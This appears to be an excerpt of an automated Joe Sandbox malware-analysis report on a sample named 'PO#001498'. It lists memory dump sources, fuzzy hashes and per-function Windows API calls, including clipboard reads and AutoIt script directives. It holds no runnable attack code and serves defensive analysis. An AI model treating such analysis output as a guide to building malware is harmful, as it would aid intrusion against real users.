                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                                                                        • Instruction ID: 409d60a17db2a5a15481a4d96924f4157310a29deb91291304a586a5f23aea36
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1341A271D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB90
                                                                                                                                                                                                        Function 03FEF4B8 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                                                                        • Instruction ID: a94019e29517dcd3d70831c8728aff41bf0e86e36b47966bd180990664a3e945
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1A018079E04209EFCB44DF98C5909AEF7B5FB48210F208599D819A7705D730AE41DB80
                                                                                                                                                                                                        Function 03FEF518 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                                                                        • Instruction ID: c73cae07c5b8852f5b96c3bff98b3c6b50522521189a80910d44785d4117d5f1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B1019D78E01209EFCB44DF98C5909AEF7F5FB88310F208699E819A7741D730AE41DB80
                                                                                                                                                                                                        Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                                                        • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                                                                                                                        Function 03FEDE78 Relevance: .0, Instructions: 6COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                                                                        • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                                                                                                                                                                        Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                                                                                                                        • DestroyWindow.USER32(?), ref: 00459407
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                                                                                                                        • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                                                                                                                        • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                                                                                                                        • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                                                                                                                        • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                                                                                                                        • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                                                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                                                                                                                        • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                                                                                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                                                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                                                                                                                        • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                                                                                                                        • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                                                                                                                        • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                                                                                                                        • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                                                                                                                        • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                                                                                                                        • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                                                                                                                        • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                                                                                                                        • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                                                                                                                        • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00459800
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 0045981F
                                                                                                                                                                                                        • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                                                                                                                                        • GetDC.USER32(?), ref: 004598DE
                                                                                                                                                                                                        • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                                                                                                                        • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                                                                                                                        • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                                                                                                                        • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                                                                                                                        • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                                                        • API String ID: 4040870279-2373415609
                                                                                                                                                                                                        • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                                        • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                                                                                                                        Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsnicmp
                                                                                                                                                                                                        • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                                                        • API String ID: 1038674560-3360698832
                                                                                                                                                                                                        • Opcode ID: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                                                                                                                                        • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                                                                                                                        Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                                                        • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                                                        • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                                                                        • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                                                                        • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                                                        • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                                                        • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                                                                        • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                                                        • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                                                        • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                                                        • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                                                        • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                                                        • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                                                        • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                                                        • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                                                        • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                                                                        • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                                                                        • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                                                                        • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                                                                        • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                                                                        • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                                                                        • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                                                                        • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                                                                        • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                                                                        • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                                                                        • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1582027408-0
                                                                                                                                                                                                        • Opcode ID: aa49e6287f5c8eaa4963889518cb643ef6cff4134c3562cc94785d6825a4d511
                                                                                                                                                                                                        • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                                                                        • Opcode Fuzzy Hash: aa49e6287f5c8eaa4963889518cb643ef6cff4134c3562cc94785d6825a4d511
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                                                                        Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                                        • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                                        • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                                        • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                                        • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 589737431-2761332787
                                                                                                                                                                                                        • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                                        • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                                                                                                                        Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCursorPos.USER32(?), ref: 00456692
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                                                                                                                        • DestroyWindow.USER32(?), ref: 00456731
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                                                                                                                        • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                                                                                                                        • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                                                                                                                        • GetMonitorInfoW.USER32 ref: 00456894
                                                                                                                                                                                                        • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                                                                                                                        • String ID: ($,$tooltips_class32
                                                                                                                                                                                                        • API String ID: 541082891-3320066284
                                                                                                                                                                                                        • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                                        • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                                                                                                                                        Function 00454DAA Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 203windowlibraryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00454DCF
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00454DE2
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00454E04
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00454E24
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                                                                                                                          • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                                                                                                                        • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                                                                                                                        • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                                                                                                                                        • String ID: .dll$.exe$.icl$#v
                                                                                                                                                                                                        • API String ID: 2511167534-1852478350
                                                                                                                                                                                                        • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                                        • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
